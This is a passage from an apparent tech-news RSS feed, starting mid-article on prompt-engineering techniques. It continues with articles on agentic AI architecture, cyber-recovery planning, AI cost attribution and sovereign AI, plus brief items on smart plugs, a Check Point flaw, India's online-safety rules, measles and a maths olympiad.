
Example: I was helping a client evaluate three potential vendor platforms for an AI deployment. A standard prompt gave a superficial comparison. With ToT



Prompt Snippet:



Explore three different reasoning paths for selecting the best vendor platform:

Path 1: Focus on cost and scalability.

Path 2: Focus on security, compliance and integration.

Path 3: Focus on innovation and long-term roadmap.

For each path, evaluate pros/cons against our requirements [list].

Then, compare the paths and recommend the strongest overall option with justification.



Outcome: The model surfaced nuanced trade-offs (e.g., one vendor had superior security, but higher integration cost).



When to use: Strategic planning, troubleshooting or scenarios with high uncertainty and multiple viable approaches.



3. ReAct (Reason+ Act) and prompt chaining: Moving toward agentic behavior



One of the biggest leaps I have noticed comes from combining reasoning with tool use and chaining prompts.



ReAct example: (used in data analytics workflow)



You are an AI analyst with access to tools. For the query below:

1. Reason about what information you need.

2. Choose the appropriate tool or action.

3. Observe the result.

4. Repeat until you can answer confidently.

Query: [user request]



In practice, I chained this with retrieval tools. One automated quarterly compliance reporting; the system reasoned about required data, pulled relevant records, validated them, and generated the reports.



4. Meta-prompting and self-reflection: Letting the model improve itself



Use the model to refine its own prompt. This is a huge time-saver.



You are an expert prompt engineer. Improve the following prompt for clarity, structure and effectiveness with [target model]. Make it more precise while preserving intent.

Original prompt: [paste]

Provide the improved version and explain your changes.



Self-reflection loops (asking the model to critique its own output and revise) are a game-changer for content generation and code-review tasks.



5. Multimodal and structured output techniques



With vision-enabled models, I started combining text with images (e.g., uploading architecture diagrams or dashboards).



Tip from experience: Be extremely specific in describing what the models should focus on.



Best practices I learned the hard way




Start simple, then layer complexity: Over-engineered prompts from Day One usually backfire.



Model specific tuning: Some models respond better to XML delimiters; others to explicit reasoning.



Evaluation and versioning: Treat prompts like code if you track versions and run automated evals.



Security guardrails: Always include instructions against prompt injections and respect data boundaries.



When to stop prompting: For repetitive, high-stakes workflows, move to full agents or an orchestration framework.




Final takeaways for technical leaders



Advanced prompt engineering has now become a core competency for anyone responsible for enterprise AI outcomes. Start by picking one technique and apply it rigorously to a real business problem. Document before/ after and you will notice why it’s worth mastering.



The field continues evolving towards more automated and agentic systems, but the ability to precisely direct AI reasoning remains foundational.



This article is published as part of the Foundry Expert Contributor Network.
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Aqara Power Plug H2 EU: Neuer Zwischenstecker unterstützt Matter over Thread und Zigbee
Thu, 23 Jul 2026 12:53:28 +0200
Aqara bringt mit dem Power Plug H2 EU einen neuen Smart-Home-Zwischenstecker auf den europäischen Markt, der bei den Funkstandards auf maximale Flexibilität setzt. Das Gerät unterstützt...Zum Beitrag: Aqara Power Plug H2 EU: Neuer Zwischenstecker unterstützt Matter over Thread und Zigbee

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    Fügt uns doch bei Google als bevorzugte Quelle hinzu!



Aqara Smart Plug H2 mit Matter over Thread startet
Thu, 23 Jul 2026 12:45:23 +0200
Steckdosen mit direkter Matter-Unterstützung gibt es mittlerweile wie Sand am Meer und sie sind auch nicht besonders teuer. Allerdings setzen die meisten Hersteller bei den günstigen Produkten auf eine WLAN-Anbindung, was in einem modernen Smart Home sicherlich nicht die beste Wahl ist. Matter over Thread ist bei einem smarten Zwischenstecker die bessere Wahl – und […]
Der Beitrag Aqara Smart Plug H2 mit Matter over Thread startet erschien zuerst auf appgefahren.de.


Smaller, smarter, safer: How to build agentic AI on the right foundation
Thu, 23 Jul 2026 12:04:43 +0200

		
					  
						




When it comes to building an effective AI stack, context is king and power isn’t everything it’s cracked up to be.



“Smaller, smarter, safer — this is a bet our company has taken in how we deploy AI internally,” said Ricky Thakrar, head of sales and account management at Zoho, provider of a suite of popular cloud-based software solutions for sales, marketing, and finance.



“I’m on the business side, and so decisions made by our CIO and IT folks affect me directly, and my teams’ workflows and processes,” he added.



Speaking to a room of tech leaders at the CIO 100 Leadership Live New York event last week, Thakrar explained that every company wants the speed of AI-generated work wedded to the quality of human work, even though these two are diametrically opposed. No amount of model upgrades or spend will close that gap, so the only way forward is to architect your way out. Thakrar encapsulated this idea in a simple formula:




Smaller: Stop deploying maximum firepower on every task. Many tasks don’t need it.



Smarter: The system around the model decides more than the model does.



Safer: Verify at the point a mistake gets locked in, not just downstream of it.




He noted that organizations that win with AI won’t be those deploying the biggest, most powerful models or the most sophisticated architecture, but the ones that figure out that the model is the easy part and the right architecture is harder. That means understanding the hardest element, and the biggest differentiator, is building a human system that learns and compounds alongside agentic systems.



To get it right, organizations need to prioritize the context layer. The size of frontier models like the GPT series, Claude, and Gemini mostly exist to compensate for missing context, Thakrar explained. Without enough context, models need to be able to reason harder and infer more about what a user actually means because it doesn’t know the user’s account, process, or history. A rich context layer makes it possible for enterprises to run workloads on much smaller, lower-power models.



“The intelligence moves from the model into the architecture around it,” he said.



A steep learning curve



One of Zoho’s earliest AI agents was a churn management agent to help the account management team detect churn in customer subscriptions. So when a subscription became inactive, the agent would collect context from notes, meeting recordings, and Zoho’s data enrichment tool, then create a summary of reasons the account might have churned, and schedule a call.



“What happened was I got this churn agent a couple months later, already embedded in our CRM, and within a week my team no longer trusted that agent,” Thakrar said. “The reason is we forgot to collect one very key point.”



In Zoho’s CRM, when a customer buys a bundle of products, that bundle is represented as a single line item. That means the status of any products the customer may have previously purchased individually changes to inactive as they’re moved to the bundle. That’s not churn, but it was interpreted it that way. Zoho fixed it in the second version of the agent.



Then a new problem arose. Many potential customers first purchase Zoho products as pilots or sandboxes. As those customers move from pilot to live instance, they close down the pilot versions. And again, the CRM would record that as subscriptions going inactive.



“The trust deteriorates again because everyone got excited for version 2,” Thakrar said.



Sometimes, a certain product might not be the best fit for a customer and Thakrar’s team will suggest the customer move to another product. That’s deliberate churn, not a churn risk.



“You may have a similar story like this where the agent sounds so good, it’s going to do something quick and add value, but it’s missing context from the account managers, and there are so many more pieces we’re still building out,” Thakrar said. “It’s been almost a year and the problem I have is my team still doesn’t trust it. They’ll see [a message from the agent] and go out and do all the research anyway to make sure it gave the correct answer.”



The team is more on top of potential churn, though, but the promised productivity gains have yet to materialize because the agent has to earn back lost trust due to a lack of context.



“My goal for this year is having an AI-assisted customer journey from sales to account management where the handoff is clean, the context flows, and every piece of information we gather about a customer is weighed, identified, and coached so the sales team can close more deals,” he said.



Zoho’s early experience with agents has led to the idea that constrained, context-rich, deterministic architectures consistently outperform expensive models bolted onto fragmented systems. It all comes down to three pillars: routing, harness, and specialization.



Routing



Routing is about sending workloads to the proper model for the job, which entails providing enough context to a given task that a small, cheap model can handle it without the need for spare reasoning capacity to fill gaps.



Frontier models are expensive and companies can burn through a year’s budget worth of tokens in months. But most tasks can be handled by much smaller, more constrained models at a fraction of the cost.



“You don’t always have to pay the frontier guys for every task,” he said. “We’ve observed with some clients that we could save them 95% with a 3 billion parameter model.”



Harness



An AI agent harness is the software infrastructure scaffolding around an LLM that differentiates an agent from a chatbot. It’s what enables an agent to act on tasks rather than simply respond to prompts. A model reasons through a problem and decides what to do about it. The harness connects the model to the tools, systems, memory, guardrails, and execution environments required to perform the actions determined by the model. The term is frequently used more or less interchangeably with orchestration layer.



“It’s the process around the model, which matters way more than the model itself,” Thakrar said.



In benchmark tests, a superior harness on a less powerful model produces better results than an inferior harness on a much bigger model.



For the best results, Thakrar said, it’s essential to understand the deterministic and non-deterministic elements of a given workload, and build that into the architecture. Machines can read, organize, and validate, and they excel at deterministic tasks. Humans, on the other hand, are exceptional at non-deterministic tasks like judging, synthesizing, and deciding.



Those non-deterministic tasks in a process are the ideal point for AI agents to incorporate a human in the loop, what Thakrar calls human harness. He pointed to a stakeholder mapping agent Zoho built for sales as an example, which takes the context of an initial meeting and third-party enriched data like a LinkedIn profile, weighs probabilities, and makes an educated guess about the stakeholder map.



“The initial goal was just to eliminate that task completely from the human workflow,” he said. “The stakeholder map is done, it’s in the folder, and you can look at it.”



But the agent would struggle to capture nuance. The meanings of titles in organizations always vary, and the politics and dynamics of any given meeting can be difficult for an AI agent to discern. Rather than keep feeding the agent data to try to make it intelligent enough to make those determinations, it was simpler and more efficient for the agent to create a proposed stakeholder map and hand it over to a human who could make changes and explain why those changes were necessary.



Ultimately, Thakrar said the agent still saved human team members time because the stakeholder map was usually pretty close, and the corrections also helped the model grow smarter by adding richer context.



Specialization



Specialization is transitioning a process from testing on a frontier model to production on a much narrower, smaller model. Once you’ve proven that an agent can do a job well, you want to stop paying master-craftsman rates to keep doing that one job well.



Specialization is all about capturing your subject matter experts’ best judgement and pattern recognition to build an open-weight, open source, trained, and fine-tuned model that can be deployed in your own data center.



“The true enterprise bet is to keep that orchestration layer, which is your IP and knowledge, in house,” Thakrar said. “You don’t want to host that on someone else’s model. The goal of everyone in enterprise should be to run, train, and host their own models.”



Banning Social Media for Kids Is a Bad Idea
Thu, 23 Jul 2026 12:04:40 +0200
The risks are real. But banning children from the internet could create new problems without solving the ones that really matter.


Principles every enterprise must test before the attack arrives
Thu, 23 Jul 2026 12:04:32 +0200

		
					  
						




I haven’t slept much in the past few weeks. Not because of some theoretical cyber risk that keeps many executives awake, but because reality just delivered a real wake-up call to our industry — a call that every executive must answer, now.



Imagine this: A major global enterprise, a company most of us interact with indirectly every single day, wakes up to find its entire digital environment obliterated. Thousands of employees in dozens of offices and remote locations are suddenly offline. Customers are cut off, supply chains grind to a halt and regulators are notified with a chilling admission: “We have no idea when we’ll be back.”



This wasn’t ransomware. There was no negotiation, no decryption key to buy, no easy way out. It was destruction — deliberate, coordinated and geopolitically motivated — not monetary.



As a chief customer officer who’s worked with countless customers on cyberattack risks, my perspective hits a bit differently than a CISO or a CTO. I see the aftermath, not just the attack surface. I see the faces behind the tickets, the operations team locked out of their own systems, the support agent answering panicked calls at dawn. And I ask: How many organizations have actually stress-tested their response to this scenario — not a hypothetical, but this very real, lights-out event? Here’s what every leader needs to confront today:



Recovery is not just a technical exercise



The first assumption to break during a real crisis is the belief that recovery is purely technical.



Many organizations have done tabletop exercises and have a backup and recovery playbook, so they feel prepared. They can point to backup windows, retention schedules and immutability controls. The moment a true blackout happens, a different reality surfaces. The people who own the recovery steps either do not know each other, lack the authority to make decisions without supervisor approval or need guidance from offline systems.



The reality is that technical infrastructure almost always holds up better than human infrastructure. Organizations have built their recovery strategy around the assumption that someone competent will be awake, available and empowered when a cyber event happens.



Still, backups are only as good as their independence. Let’s be blunt: If your recovery infrastructure shares identity, authentication or network trust with your Microsoft tenant (such as Azure, Microsoft 365 or Teams), you don’t actually have a recovery plan; you have a false sense of one — and a liability. A recent survey found that while 90% of organizations express confidence in their ability to recover from a cyber incident, fewer than one in three ransomware victims fully recovered their data.



True resilience means immutable, air-gapped backups, untouchable by the same compromise. Anything less is an illusion. I talk to customers about their recovery plans constantly. The customers who have rehearsed all scenarios sleep soundly. Those who haven’t? They’re rolling the dice.



Most business continuity plans ignore ‘total blackout’



I’ve reviewed hundreds of business continuity plans. Almost all assume partial failures — a region, an application, a data center. But what if every system, in every country, goes dark simultaneously? That’s an entirely different playbook. If your team hasn’t run a drill for a global, simultaneous outage, you’re not prepared. The probability is low, but the cost of being unready is existential.



Connected devices, OT systems, field hardware, partner integrations — they all plug into your enterprise network. When the core collapses, it’s not just IT at risk. It’s operational technology, physical safety systems and in regulated sectors, potentially human lives. Understanding and testing those interdependencies is non-negotiable.



This is also where boards need to change the conversation. A study found that only 5% of companies have cybersecurity experts on their board of directors. Recovery time objectives (RTOs) should not be buried in technical appendices. It’s all jargon to boards. That makes translation essential. RTOs must be explained in terms of business impact. “We can recover in four hours” is a technical statement. “Every hour of downtime costs us $2.3M and creates regulatory exposure in three jurisdictions” is a board statement.



That is the level of clarity leaders need.



The most prepared organizations do not wait for an incident to educate the board. They bring the conversation forward proactively. They frame recovery in business terms: revenue, regulatory standing, customer trust and brand reputation.



The most effective framing is often simple. Show the most critical systems. Show what happens if each one is down for one hour, four hours, 24 hours and 72 hours. Show the current recovery capability against each and then show the gap.



If your board is not demanding real answers, your business continuity strategy is likely underfunded and your business is exposed. This is a risk conversation worth forcing because the consequences do not stay inside IT. They can show up in customer churn or missed revenue and ruin an organization’s reputation.



Threat intelligence must be actionable, not archived



Geopolitical attacks, hacktivist campaigns and nation-state targeting aren’t abstract threats. They are active risks, and that intelligence cannot languish in the security team’s inbox. Executive leadership must be looped in — and immediately — so gaps can be closed before they’re exploited. Too often, intelligence enters the security operations function and never reaches the teams responsible for recovery infrastructure or executive decision-making.



If a threat actor is targeting a specific class of backup agents, the team responsible for those agents needs to know now, not two weeks from now. If intelligence suggests destructive activity against a sector, recovery owners need to validate isolation, access paths and restoration procedures immediately. If geopolitical tension increases the likelihood of targeting, executive leadership needs to understand what exposure exists and what actions are being taken. The organizations that survive aren’t just the best at incident response. They’re the ones who anticipated, rehearsed and invested before the attack.



Part of investing in a recovery strategy requires closing the loop between signal and action. The most prepared organizations have already mapped their critical recovery dependencies to specific threat categories. When intelligence touches one of those categories, there is a named owner and a clear set of actions. No guessing or forwarding emails into the void is needed because the distance between the warning and the employees’ ability to do something is shortened.



Looking ahead, the conversation will continue to evolve beyond traditional cyber response. Because in an AI-enabled enterprise, the new question is whether the data within those systems can still be trusted. When AI systems make decisions based on enterprise data, the attack surface becomes the data’s accuracy. A threat actor who quietly corrupts a dataset over 90 days before a recovery event has done more damage than just downtime. They can poison the inputs driving decisions across the business.



Regardless of how AI will change threat intelligence and cyber response, these principles remain the same. Know your problem, whether structural or technological. Ensure your human infrastructure keeps pace with your technical infrastructure, with clear cross-functional ownership and the tools and knowledge to act autonomously. Communicate with your boards often — and correctly.



Let’s not wait for the next headline to ask, “Are we ready?” Have those conversations now. Test your assumptions. Close your gaps. Because in today’s threat landscape, resilience isn’t IT’s job — it’s everyone’s mandate.



This article is published as part of the Foundry Expert Contributor Network.
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Critical Check Point Flaw Lets Attackers Bypass SmartConsole Authentication
Thu, 23 Jul 2026 11:29:34 +0200
Check Point Software Technologies has disclosed three security vulnerabilities affecting its Security Management and Multi-Domain Management products, including a critical authentication bypass flaw that has already been exploited in the wild. The disclosure came through a jumbo hotfix released as part of the company’s Frontier AI Readiness Program, an initiative combining security hardening improvements with […]
The post Critical Check Point Flaw Lets Attackers Bypass SmartConsole Authentication appeared first on Cyber Security News.


Determining the ROI of AI requires data that most companies lack
Thu, 23 Jul 2026 11:07:22 +0200

		
					  
						




Leadership wants to scale AI. Budgets are tripling. Adoption is up.



Then the CFO asks the question every board now asks: which of these initiatives is actually profitable?



Most organizations cannot answer that question, not because they lack visibility into cost, but because the cost data they have was never designed to produce that answer.



Applying lessons learned from managing cloud spend won’t be a fix for the AI and ROI quandary. True, cloud taught a generation of CFOs that billing without business context is noise. So to get cloud ROI, they stitched two data sources together: cost data plus business data. AWS reveals which account, which region, which tag, which resource. Merge in customer and product mappings on top and the ROI of the cloud spend comes into focus.



But AI is harder. It requires three data sources: cost, business, and telemetry—the automatic collection of data from disparate sources that helps to clarify the whole picture of what happened and why. An executive or engineering lead can have AI invoices and customer revenue. But they have no way to connect them to business value. The token count on the OpenAI invoice does not specify which customer triggered which call, which feature it served, or whether the prompt produced a business outcome. That data does not exist in the provider’s billing.



AI providers won’t fix this problem



The situation is not likely to change anytime soon because AI providers are not in the business of attributing an enterprise’s costs to that enterprise’s customers. Instead, AI providers are in the business of selling tokens. The granularity they expose is the granularity their billing systems require, not the granularity a CFO requires.



Not convinced? Compare what AWS gives you to what an AI provider gives you.



AWS billing exposes resource IDs, account hierarchies, region, SKU, tag metadata, usage by the minute. Every dollar can be attributed to a workload, a team, a customer segment if it was tagged correctly. The data is rich enough that mature FinOps teams built unit economics on top of it years ago.



An AI provider invoice gives you tokens consumed by model, with optional grouping by API key. That is the resolution. No request-level attribution. No customer ID. No feature mapping. No prompt outcome. No retry identification. Multi-step agent workflows collapse into a token count. Imagine a large bank receives a multi-million dollar AI invoice each month. But it has no visibility into what parts of the business were responsible for what parts of the cost so cannot allocate them.



If an enterprise wants to know what AI cost drove which customer or feature, it has to capture that data itself, inside an application, before the call leaves it. 



Three required sources



Building AI ROI measurement requires three data sources, stitched together in a single model.




Cost data, normalized across providers. Every AI provider delivers cost differently. OpenAI invoices in one taxonomy, Anthropic in another, fine-tuning vendors and inference platforms each in their own. Cloud GPU costs sit in AWS or Azure billing. Vector database costs land in Pinecone or Snowflake invoices. None interoperate by default. Normalization is necessary but not sufficient. It will put all your AI costs in one schema. It does not tell you what they produced.



Application-layer telemetry. This is the source most organizations are missing, and the one that makes AI ROI structurally different from cloud ROI. It requires instrumenting AI calls inside your application across six categories: request-level tracing tied to a customer or session ID; feature attribution tied to the product surface that triggered the call; agent-step capture for multi-step workflows; retry and fallback identification so recovery costs don’t get attributed to primary calls; model selection logging that records which model was chosen and why; and outcome capture that ties each call to whether it produced business value. None of this data exists in the provider’s billing. All of it has to be captured at the moment the call is made and stored in a system that can be stitched to the cost data.



Business data. Revenue, customer segments, product hierarchies, and feature usage. The same business data already feeding your CRM and analytics stack, mapped to the customers and features the telemetry layer attributes calls to.




Stitched together, the three sources produce the unit economics every AI investment decision now requires: cost per customer interaction, margin per feature, profitability per agent workflow, ROI per model choice. None of these can be calculated from billing data alone. None can be calculated from telemetry alone. They require all three sources, modeled together in a way that maps cost to outcome.



Why agentic AI makes this urgent



Single-call inference is the easy case. One request, one cost, one customer, one outcome.



Agentic workflows are different. An agent decomposes a task into multiple steps. Each step calls a model. Some steps fall back to a different model when the first fails. Some steps retry on a poor result. Some steps invoke external tools that themselves cost money. A single user request can produce dozens of inference calls across multiple providers, with the cost compounding in ways the provider invoice cannot disaggregate.



If telemetry does not capture agent-step granularity, no one will know which steps are profitable. Aggregate costs will show up three weeks later in the invoice. By then, the workflow has been running at scale, customers are onboarded, and unprofitable paths have been retried thousands of times.



When agents make the calls, the volume of cost-generating events without business context attached grows by an order of magnitude. The window for instrumenting this before it becomes unmanageable is closing.



What changes when the three sources come together



Once the three sources are stitched together, the AI investment conversation changes.



Five different ways to build the same AI capability stop looking equivalent. They converge on adoption metrics and diverge by 10x on cost. The team picks the approach that delivers a similar business outcome at one-fifth the cost, because the team can finally see the difference. Product teams design features with margin awareness from the architecture phase, not from the post-launch budget review. Engineering teams choose model architectures with cost-per-outcome data alongside latency and quality. Leadership evaluates AI initiatives the way they evaluate any other capital allocation: on unit economics, not on the engagement chart. Aggregated invoices track the cost per customer interaction. Engagement metrics reveal margin per feature. Gut-instinct model selection is checked against real cost-per-outcome model selection results. 



Within seconds, everyone can see which AI features are profitable, which should scale, and which should be killed. This is the insight everyone is looking for and companies that achieve it will optimize the benefits of AI.



The build trap



AI costs are compounding now. The board is not waiting 18 months for an internal project to reach production.



The temptation to build it anyway has never been sharper. AI coding tools have changed what a small engineering team can ship in a quarter. The instrumentation layer looks tractable. The cost normalization looks like a weekend project. The semantic model feels like something a senior engineer could draft over a sprint.



It is a trap. Three reasons.



Volume is the first. A production AI footprint generates millions of telemetry events per hour, and that volume scales with agentic adoption. Real-time ingestion, correlation, and attribution at that scale is not the same problem as vibe coding a prototype in an afternoon. It is a permanent operational system that has to be right every minute of every day.



The vendor landscape is the second. Cost data arrives in delayed billing windows from providers with non-interoperable schemas. Schemas change without notice. New AI providers enter the landscape monthly, each with its own taxonomy and metering. The system is not built once. It is maintained against a moving target that moves faster than most internal release cycles.



The third is what the first two add up to: this is business-critical infrastructure. The CFO and the board are going to make capital allocation decisions on the data this system produces. When schema drift goes unnoticed for two weeks, when an agent telemetry stream stops correlating to a vendor that quietly changed its billing API, the cost of being wrong is not a sprint of cleanup. It is a quarter of misallocated capital.



The build-vs.-buy question for engineering leaders has changed. It’s not “can we build this?” The honest answer is yes. The real question is whether the marginal hour of your strongest engineers is best spent stitching cost data to telemetry to business outcomes, or building the AI products that produce the revenue the cost data is measuring.



The capability is reproducible in weeks. The choice is whether to spend the next 18 months building it, or the next 18 months acting on it.



—



New Tech Forum provides a venue for technology leaders—including vendors and other outside contributors—to explore and discuss emerging enterprise technology in unprecedented depth and breadth. The selection is subjective, based on our pick of the technologies we believe to be important and of greatest interest to InfoWorld readers. InfoWorld does not accept marketing collateral for publication and reserves the right to edit all contributed content. Send all inquiries to doug_dineley@foundryco.com.



Sovereign AI has become the public-sector CIO’s control problem
Thu, 23 Jul 2026 11:05:58 +0200

		
					  
						




In public-sector and regulated-cloud work, I learned that sovereignty rarely starts as a national strategy. It starts as an auditor’s question: Who can prove where the data went, which system made the decision and what changes when the vendor or infrastructure does? That question is now moving into AI, and most sovereign-AI debates answer the wrong version of it.



They ask whether a country can build its own model on domestic data and hardware. For the United States and China, which together hold more than 90% of global AI data-center capacity, per a January 2026 Tony Blair Institute analysis, that question is worth asking. However, for almost every other government, it is the wrong place to start. The operative question is narrower: Once AI is embedded in public services, who controls the stack?



The 5 layers of public-sector control



For a CIO, sovereign AI means enforceable control across the AI lifecycle; model ownership is a separate question. Control has five layers:




Data control: Where sensitive public data sits, and whether it can train a vendor’s model.



Model control: Which models clear which workloads, and under what validation.



Infrastructure control: Whether critical workloads run in approved environments.



Operational control: Whether AI-assisted actions are logged, monitored and reversible.



Vendor control: Whether the agency keeps portability, audit rights and a real exit.




Those five layers are the control plane for public-service AI. Floyd Dcosta recently made the enterprise case in “AI without sovereignty is just outsourced intelligence”: capability is what a tool can do; authority over how and when it does it is something a buyer can quietly lose. For public services, losing that authority plays out in the public eye.



Public-sector AI risk differs from enterprise risk. A retailer’s bad recommendation costs a sale; a government’s AI touches benefits, tax enforcement, policing and emergency response, raising the bar to due process, records retention and continuity of operations. A government that cannot reconstruct an AI-assisted decision lacks operational sovereignty, even in a domestic data center.



Evaluating risk: Concentration, jurisdiction and shadow AI



Foreign dependency is a real risk, but the exposure that matters is a sudden cutoff: A model you cannot audit, switch or exit, shut off by someone else’s order. A vendor’s nationality is a poor guide to that risk; control is.  Two markers matter. The first is concentration. In July 2024, a single faulty CrowdStrike update crashed about 8.5 million Windows machines, disrupting airlines, hospitals, banks and governments worldwide. No attacker was involved; one homogeneous dependency failed everywhere at once. The lesson points away from vendor nationality and toward uniformity as the fault line, making portability and provider diversity resilience controls.



The second is jurisdiction. In June 2025, Microsoft’s legal director for France told a Senate inquiry, under oath, that it could not guarantee that French public-sector data, even in French data centers, would be protected against US demands under the 2018 CLOUD Act. No such request had been made, and EU data has stayed in the EU since January 2025; senators called the assurance purely declarative. For the most sensitive data, residency does not equal control; the parent’s jurisdiction can matter as much as the server’s. Three US hyperscalers hold about 70% of the European cloud market, while European providers’ share fell from 29% in 2017 to roughly 15%. Concentration plus jurisdiction is the exposure a CIO must price. I have watched teams treat vendor selection as the moment risk was solved; it rarely was.



The wrong response is self-isolation. Most countries will never build frontier models, advanced chips, hyperscale clouds and talent pipelines at once; the Tony Blair Institute calls full self-sufficiency “too expensive, too slow and, for most countries, simply impossible.” The better test is workload sensitivity. Low-risk uses, such as drafting, translation and summarization, can run on commercial platforms with controls; high-risk uses, such as benefits eligibility, fraud investigation and healthcare triage, demand stricter control over data, model behavior and auditability.



Mandating domestic-only provision before a competitive option exists inverts sovereignty. Europe 2031, a five-year scenario from June 2026 by European technologists and policy researchers, illustrates the failure mode: A 2027 “buy European” mandate lands as offensive cyber capability spreads, and agencies that switched to weaker providers are locked out and paying ransoms. The scenario is fiction; the mechanism is not. Leverage comes from being indispensable, not half-hearted self-sufficiency. The closer-to-home effect is shadow AI: Mandate an inferior sanctioned tool and staff bypass it, the way shadow IT grows up around tools people find too slow. A rule that pushes sensitive work into ungoverned shadow AI reduces control instead of adding it.



Regulation and data-residency rules belong in any serious strategy, but carry failure modes. Blanket localization raises hosting costs and slows adoption without guaranteeing control, and a “sovereign cloud” on a foreign parent’s stack can amount to sovereignty theater. The more useful pattern tiers requirements by sensitivity. India’s BHASHINI shows the application layer done well: A public platform serving 100 million-plus inferences a month across 22-plus languages on a vendor- and cloud-agnostic design that keeps data and switching rights public. Sovereignty resides in the portability, not in a national model.



Building an operational sovereignty strategy



Public trust is the constraint sovereignty rhetoric tends to skip. The OECD’s 2025 review of government AI warns that opaque systems make AI-assisted decisions hard to explain and can give public servants false confidence in tools that fail quietly. State-controlled AI is the same problem from the other side: A government that deploys models against its own citizens without audit or record has gained control and lost accountability. An agency that can log, explain and reverse an AI-assisted action can defend it to citizens, courts, auditors and elected officials. If it cannot, it has bought access and called it sovereignty.



None of this is new. AI sovereignty repeats earlier fights over cloud, telecom, semiconductors and cybersecurity. Europe’s flagship cloud project, GAIA-X, became a cautionary tale; the Dutch technologist Bert Hubert called it an “expensive distraction” that produced no European cloud, the familiar result of ambition without absorptive capacity. Cloud taught governments that outsourcing infrastructure does not outsource accountability; telecom, that vendor dependency becomes strategic exposure; chips, that supply chains matter before a crisis; cybersecurity, that trust must be verified continuously. AI inherits all four at once.



Over the next five to ten years, some countries will build national platforms, more will build trusted cloud and trusted model regimes, and most will run hybrids that pair domestic data control with global model access. Trade policy will harden those choices: Export controls on compute and data-localization rules will pull the vendor market into blocs that track alliances more than open markets. For a CIO, that turns a vendor and hosting decision into a five-year bet on whose rules and supply chains will still hold. The ones that succeed will treat sovereignty as an operating requirement, backed by leverage, not a slogan. Start with the control plane before the model: Most agencies will never own the model, and the controls are what decide whether the AI they do run stays accountable. Even when procurement policy is dictated from above, these questions remain within the CIO’s authority:




Can we classify AI workloads by public-service risk?



Can we prove where sensitive data goes across training, retrieval, inference, logging and retention?



Can we restrict which models are approved for which data classes and functions?



Can we reconstruct an AI-assisted action in enough detail to explain it?



Can we change providers without losing continuity or institutional knowledge?



Can we explain the system to citizens, regulators, auditors and elected officials?




A “no” to any of these does not mean the agency lacks AI. It means the agency has access it does not yet control. Public institutions can use global innovation without surrendering public authority, but only once they know what to hold, what to rent and where dependency turns into risk.



This article is published as part of the Foundry Expert Contributor Network.
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‘The Child Is Terrified’: Measles Doctors Speak Out
Thu, 23 Jul 2026 11:05:57 +0200
Hear from six pediatricians in measles hot spot Utah, as the US faces infection levels not seen in over three decades and prepares to lose its status as a country that eliminated the dangerous disease.


India Tightens Social Media Rules to Protect Children Online
Thu, 23 Jul 2026 10:56:26 +0200
India online safety rules are being strengthened as the government steps up measures to protect children and other users from harmful digital content, cyber risks and emerging threats linked to artificial intelligence. The government said its policies are aimed at ensuring an open, safe, trusted and accountable internet, with recent measures focusing on child safety, privacy protection, faster content removal and stronger platform responsibilities.
The Information Technology Act, 2000, and the Information Technology (Intermediary Guidelines and Digital Media Ethics Code) Rules, 2021, form the core legal framework governing online safety and intermediary responsibilities in India. The government has also highlighted the Digital Personal Data Protection Act, 2023, and recent amendments to the IT Rules as part of its broader approach to digital safety.

India Online Safety Rules Tighten Platform Responsibilities
Under the IT Rules, intermediaries are required to observe due diligence and inform users that they must not host, display, upload, modify, publish, transmit, update or share content that is harmful to children or violates applicable laws.
Recent amendments require social media platforms and other intermediaries to remove unlawful content within three hours of receiving an order from a competent court or a reasoned intimation from the appropriate government or its agency.
The government has also outlined specific obligations related to content involving nudity, impersonation and other sensitive material. In cases involving certain complaints about content featuring full or partial nudity, exposed private areas or artificially morphed images, intermediaries must take reasonable and practicable measures to remove or disable access within two hours.

Government Targets Harmful Content and OTT Platforms
The government said it has taken action against online platforms and OTT services over unlawful and obscene content. In the last two years, 50 OTT platforms have been disabled for public access in India for displaying obscene content and violating provisions including Sections 67 and 67A of the IT Act, Section 294 of the Bharatiya Nyaya Sanhita and the Indecent Representation of Women (Prohibition) Act, 1986.
The government also said it has taken note of reports alleging the dissemination of advertisements linked to child sexual abuse material (CSAM) on social media platforms and sought a detailed report from the concerned intermediary. The National Commission for Protection of Child Rights has also issued notices to the concerned platforms.

India Strengthens AI-Generated Content Safeguards
The government has also expanded its regulatory focus to address risks associated with AI-generated content and synthetically generated information. Amendments to the IT Rules introduce requirements for clear labelling and traceable metadata for permissible AI-generated content, allowing users to identify synthetically generated material.
The framework also strengthens platform accountability and requires greater user awareness about the legal consequences of unlawful AI-generated content. The rules specifically cover harmful material including CSAM, non-consensual intimate imagery and impersonation.
Platforms are required to deploy reasonable and appropriate technical measures, including automated tools or other mechanisms, to prevent users from creating, modifying, publishing or sharing synthetically generated information that violates applicable laws.
Significant Social Media Intermediaries are also required to make reasonable efforts to deploy technical measures to proactively identify content depicting rape, child sexual abuse or conduct, as well as content identical to information previously removed.

Child Privacy and Digital Addiction Remain Key Concerns
The Digital Personal Data Protection Act, 2023, provides a framework for protecting children's privacy online. It mandates parental consent for processing children's personal data and prohibits practices considered detrimental to children's well-being, including tracking, behavioural monitoring and targeted advertising directed at children.
The government has also highlighted digital addiction as a serious challenge affecting children and young people. The Economic Survey 2025-26 noted potential impacts on cognitive development, academic performance, workplace productivity, social connectedness and mental health, alongside risks linked to cyberbullying, compulsive gaming, social media and online gambling.

Cyber Awareness Reaches 11.37 Lakh Participants
Alongside regulatory measures, the government is expanding cyber awareness initiatives through the Information Security Education and Awareness project. So far, 6,650 awareness workshops have been conducted nationwide, reaching more than 11.37 lakh participants, including students, teachers, law enforcement officials, government personnel and members of the public.
The government has also highlighted digital safety initiatives in education. The PRAGYATA Guidelines provide a framework for safe online learning and responsible use of social media and electronic devices. CBSE has introduced digital etiquette and cybersecurity training initiatives, while NCERT has incorporated cyber safety into its curriculum.
The measures were outlined by Union Minister for Electronics and Information Technology Ashwini Vaishnaw in the Lok Sabha on July 22, 2026, as the government continues to strengthen its approach to c child protection and accountability across India's digital ecosystem.


Shelly: Diverse Wall Displays sollen bald als Matter Controller fungieren
Thu, 23 Jul 2026 10:33:55 +0200
Shelly hat mit dem Wall Display X1i erst kürzlich ein neues Touchscreen-Display zur Haussteuerung vorgestellt. Die Displays dienen der Ansteuerung smarter Gerätschaften: Neben dem Schalten und...Zum Beitrag: Shelly: Diverse Wall Displays sollen bald als Matter Controller fungieren

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    Fügt uns doch bei Google als bevorzugte Quelle hinzu!



Team Ireland make it count at International Maths Olympiad
Thu, 23 Jul 2026 10:25:19 +0200
The students competed alongside 666 of the world's brightest young minds from 117 countries across the world.
